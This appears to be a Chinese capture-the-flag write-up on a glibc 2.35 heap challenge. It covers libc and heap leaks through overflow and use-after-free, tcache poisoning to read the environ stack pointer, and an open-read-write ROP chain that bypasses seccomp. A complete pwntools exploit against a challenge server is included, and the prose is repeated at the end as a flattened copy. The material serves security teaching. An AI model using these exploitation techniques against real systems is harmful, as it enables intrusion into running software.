environ泄露栈地址+沙盒堆
字数 1136 2025-08-22 12:22:37

利用environ泄露栈地址的堆利用技术详解

1. 环境与背景

  • 目标环境:Linux系统,libc 2.35版本
  • 保护机制:全保护开启(ASLR, NX, Canary等),使用seccomp沙箱
  • 漏洞类型:堆溢出、UAF(Use After Free)、off-by-one

2. environ基础知识

2.1 environ概念

environ是Linux C中的一个全局变量,存储在libc中,包含指向环境变量数组的指针。环境变量本身存储在栈上,因此environ成为连接libc地址和栈地址的桥梁。

2.2 environ的内存布局

libc中的environ变量 -> 指向栈上的环境变量指针数组 -> 实际环境变量字符串

3. 漏洞分析

3.1 程序功能

标准堆菜单程序,包含以下功能:

  • add: 分配堆块
  • del: 释放堆块
  • edit: 编辑堆块内容
  • show: 显示堆块内容
  • exit: 退出程序

3.2 具体漏洞

  1. 堆溢出:edit函数中可编辑的堆块大小未正确校验,导致可以写入超出分配大小的数据
  2. UAF:del函数仅清除了堆块数组的指针而未清空堆块本身
  3. 输出问题:show函数使用printf的%s格式化,遇到\0才会停止,可导致信息泄露

4. 利用思路

  1. 利用堆溢出和UAF泄露libc基地址
  2. 通过libc中的environ变量获取栈地址
  3. 构造ROP链实现ORW(Open-Read-Write)绕过沙箱
  4. 将ROP链写入栈上合适位置

5. 详细利用步骤

5.1 泄露libc基址

# 分配4个大堆块
add(0x408, b'aaaa') #0
add(0x408, b'aaaa') #1
add(0x408, b'aaaa') #2
add(0x408, b'aaaa') #3

# 利用堆溢出修改chunk1的size
edit(0, 0x500, b'a'*0x408 + p64(0x821))

# 释放chunk1,由于size被修改,会连带释放chunk2
delet(1)

# 重新分配chunk1
add(0x408, b'a') #1

# 显示chunk2内容,泄露libc地址
show(2)
p.recvuntil(b'content:')
libc = u64(p.recv(6).ljust(8, b'\x00')) - 0x21ace0

5.2 泄露堆地址

# 分配更多堆块
add(0x408, b'aaaa') #4 & 2
add(0x408, b'aaaa') #5
add(0x408, b'aaaa') #6

# 释放chunk4
delet(4)

# 显示chunk2内容,泄露堆地址
show(2)
p.recvuntil(b'content:')
heap = u64(p.recv(5).ljust(8, b'\x00')) << 12

5.3 利用environ泄露栈地址

# 计算environ地址
environ = libc_base + libc.symbols['environ']

# 计算目标地址(environ上方)
heap_shift = (heap_base + 0x16e0) >> 12
tar = environ - 0x410
fd = heap_shift ^ tar

# 释放chunk6
delet(6)

# 构造伪造的chunk
pay = b'a'*0x400 + p64(0) + p64(0x411) + p64(fd)
edit(5, 0x500, pay)

# 分配chunk,使其指向environ上方
add(0x408, b'aaaa') #4
add(0x408, b'aaaa') #6

# 编辑chunk6,覆盖environ区域
edit(6, 0x500, b'a'*0x40f)

# 显示environ中的栈地址
show(6)
stack_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x168

5.4 构造ORW链

# 准备gadget
rdi = libc_base + 0x2a3e5
rsi = libc_base + 0x2be51
rdx_rbx = libc_base + 0x904a9
rax = libc_base + 0x45eb0
syscall_ret = libc_base + 0x91316

# 构造ORW链
orw = b'./flag\x00\x00'
orw += p64(rdi) + p64(stack_addr - 0x10)
orw += p64(rsi) + p64(0)
orw += p64(rax) + p64(2)
orw += p64(syscall_ret)  # open("./flag", 0)

orw += p64(rax) + p64(0)
orw += p64(rdi) + p64(3)
orw += p64(rsi) + p64(stack_addr - 0x300)
orw += p64(rdx_rbx) + p64(0x30)*2
orw += p64(syscall_ret)  # read(3, stack_addr - 0x300, 0x30)

orw += p64(rax) + p64(1)
orw += p64(rdi) + p64(1)
orw += p64(rsi) + p64(stack_addr - 0x300)
orw += p64(rdx_rbx) + p64(0x30)*2
orw += p64(syscall_ret)  # write(1, stack_addr - 0x300, 0x30)

5.5 将ORW链写入栈

# 分配更多堆块
add(0x408, b'aaaa') #7
add(0x408, b'aaaa') #8
add(0x408, b'aaaa') #9
add(0x408, b'aaaa') #10

# 释放chunk9和8
delet(9)
delet(8)

# 计算目标地址(栈上返回地址附近)
heap_shift = (heap_base + 0x1f00) >> 12
tar = stack_addr - 0x10
fd = heap_shift ^ tar

# 构造伪造的chunk
pay = b'a'*0x400 + p64(0) + p64(0x411) + p64(fd)
edit(7, 0x500, pay)

# 分配chunk,使其指向栈上返回地址附近
add(0x408, b'aaaaaaaa') #8
add(0x408, orw) #9

6. 关键技术与注意事项

6.1 tcache指针加密机制

libc 2.29+引入了tcache指针加密,加密公式为:
加密指针 = (指针 >> 12) ^ 目标地址

6.2 为什么选择environ-0x410

  • 直接覆盖environ会使其内容被add函数清零
  • 选择environ上方区域可以保留原始栈地址

6.3 栈偏移计算

0x168偏移是通过调试确定的,是add函数返回地址与泄露的栈地址之间的差值

6.4 ORW构造要点

  1. 使用syscall而非直接调用函数,避免破坏栈结构
  2. 需要找到正确的syscall_ret gadget
  3. 文件描述符处理要正确(open返回3,之后使用3)

7. 完整EXP

from pwn import *

p = remote('pwn.challenge.ctf.show', 28113)
# p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
context(os='linux', arch='amd64', log_level='debug')

def debug():
    gdb.attach(p)
    pause()

def dbg():
    gdb.attach(p, 'b *$rebase(0x16cc)')

def choice(cho):
    p.sendlineafter('choice >> ', cho)

def add(size, content):
    choice(str(1))
    p.sendlineafter(b'size:', str(size))
    p.sendlineafter(b'content:', content)

def delet(idx):
    choice(str(2))
    p.sendlineafter(b'idx:\n', str(idx))

def show(idx):
    choice(str(4))
    p.sendlineafter(b'idx:', str(idx))

def edit(idx, size, content):
    choice(str(3))
    p.sendlineafter(b'idx:', str(idx))
    p.sendlineafter(b'size:', str(size))
    p.sendlineafter(b'content:', content)

def exit():
    p.sendlineafter(b'choice >> ', b'5')

# 泄露libc
add(0x408, b'aaaa') #0
add(0x408, b'aaaa') #1
add(0x408, b'aaaa') #2
add(0x408, b'aaaa') #3
edit(0, 0x500, b'a'*0x408 + p64(0x821))
delet(1)
add(0x408, b'a') #1
show(2)
p.recvuntil(b'content:')
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x21ace0
success("libc_base:" + hex(libc_base))

# 泄露heap
add(0x408, b'aaaa') #4 & 2
add(0x408, b'aaaa') #5
add(0x408, b'aaaa') #6
delet(4)
show(2)
p.recvuntil(b'content:')
heap_base = u64(p.recv(5).ljust(8, b'\x00')) << 12
success("heap_base:" + hex(heap_base))

# 准备gadget
rdi = libc_base + 0x2a3e5
rsi = libc_base + 0x2be51
rdx_rbx = libc_base + 0x904a9
rax = libc_base + 0x45eb0
syscall_ret = libc_base + 0x91316
environ = libc_base + libc.symbols['environ']

# 泄露栈地址
heap_shift = (heap_base + 0x16e0) >> 12
tar = environ - 0x410
fd = heap_shift ^ tar
success("tar:" + hex(tar))
delet(6)
pay = b'a'*0x400 + p64(0) + p64(0x411) + p64(fd)
edit(5, 0x500, pay)
add(0x408, b'aaaa') #4
add(0x408, b'aaaa') #6
edit(6, 0x500, b'a'*0x40f)
show(6)
stack_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x168
success("stack_addr:" + hex(stack_addr))

# 构造ORW
orw = b'/flag\x00\x00'
orw += p64(rdi) + p64(stack_addr - 0x10)
orw += p64(rsi) + p64(0)
orw += p64(rax) + p64(2)
orw += p64(syscall_ret)  # open("./flag", 0)
orw += p64(rax) + p64(0)
orw += p64(rdi) + p64(3)
orw += p64(rsi) + p64(stack_addr - 0x300)
orw += p64(rdx_rbx) + p64(0x30)*2
orw += p64(syscall_ret)  # read(3, stack_addr - 0x300, 0x30)
orw += p64(rax) + p64(1)
orw += p64(rdi) + p64(1)
orw += p64(rsi) + p64(stack_addr - 0x300)
orw += p64(rdx_rbx) + p64(0x30)*2
orw += p64(syscall_ret)  # write(1, stack_addr - 0x300, 0x30)

# 写入ORW
add(0x408, b'aaaa') #7
add(0x408, b'aaaa') #8
add(0x408, b'aaaa') #9
add(0x408, b'aaaa') #10
delet(9)
delet(8)
heap_shift = (heap_base + 0x1f00) >> 12
tar = stack_addr - 0x10
fd = heap_shift ^ tar
pay = b'a'*0x400 + p64(0) + p64(0x411) + p64(fd)
edit(7, 0x500, pay)
add(0x408, b'aaaaaaaa') #8
add(0x408, orw) #9

p.interactive()

8. 总结

本技术通过以下关键步骤实现利用:

  1. 利用堆溢出和UAF泄露libc和堆地址
  2. 通过libc中的environ变量定位栈地址
  3. 利用tcache指针加密机制实现任意地址写
  4. 构造ORW链绕过沙箱限制
  5. 将ROP链写入栈上合适位置控制程序流

这种方法在存在信息泄露漏洞和堆控制漏洞的情况下非常有效,特别是在全保护开启的环境中。

利用environ泄露栈地址的堆利用技术详解 1. 环境与背景 目标环境 :Linux系统,libc 2.35版本 保护机制 :全保护开启(ASLR, NX, Canary等),使用seccomp沙箱 漏洞类型 :堆溢出、UAF(Use After Free)、off-by-one 2. environ基础知识 2.1 environ概念 environ 是Linux C中的一个全局变量,存储在libc中,包含指向环境变量数组的指针。环境变量本身存储在栈上,因此 environ 成为连接libc地址和栈地址的桥梁。 2.2 environ的内存布局 3. 漏洞分析 3.1 程序功能 标准堆菜单程序,包含以下功能: add: 分配堆块 del: 释放堆块 edit: 编辑堆块内容 show: 显示堆块内容 exit: 退出程序 3.2 具体漏洞 堆溢出 :edit函数中可编辑的堆块大小未正确校验,导致可以写入超出分配大小的数据 UAF :del函数仅清除了堆块数组的指针而未清空堆块本身 输出问题 :show函数使用printf的%s格式化,遇到\0才会停止,可导致信息泄露 4. 利用思路 利用堆溢出和UAF泄露libc基地址 通过libc中的environ变量获取栈地址 构造ROP链实现ORW(Open-Read-Write)绕过沙箱 将ROP链写入栈上合适位置 5. 详细利用步骤 5.1 泄露libc基址 5.2 泄露堆地址 5.3 利用environ泄露栈地址 5.4 构造ORW链 5.5 将ORW链写入栈 6. 关键技术与注意事项 6.1 tcache指针加密机制 libc 2.29+引入了tcache指针加密,加密公式为: 加密指针 = (指针 >> 12) ^ 目标地址 6.2 为什么选择environ-0x410 直接覆盖environ会使其内容被add函数清零 选择environ上方区域可以保留原始栈地址 6.3 栈偏移计算 0x168 偏移是通过调试确定的,是add函数返回地址与泄露的栈地址之间的差值 6.4 ORW构造要点 使用syscall而非直接调用函数,避免破坏栈结构 需要找到正确的syscall_ ret gadget 文件描述符处理要正确(open返回3,之后使用3) 7. 完整EXP 8. 总结 本技术通过以下关键步骤实现利用: 利用堆溢出和UAF泄露libc和堆地址 通过libc中的environ变量定位栈地址 利用tcache指针加密机制实现任意地址写 构造ORW链绕过沙箱限制 将ROP链写入栈上合适位置控制程序流 这种方法在存在信息泄露漏洞和堆控制漏洞的情况下非常有效,特别是在全保护开启的环境中。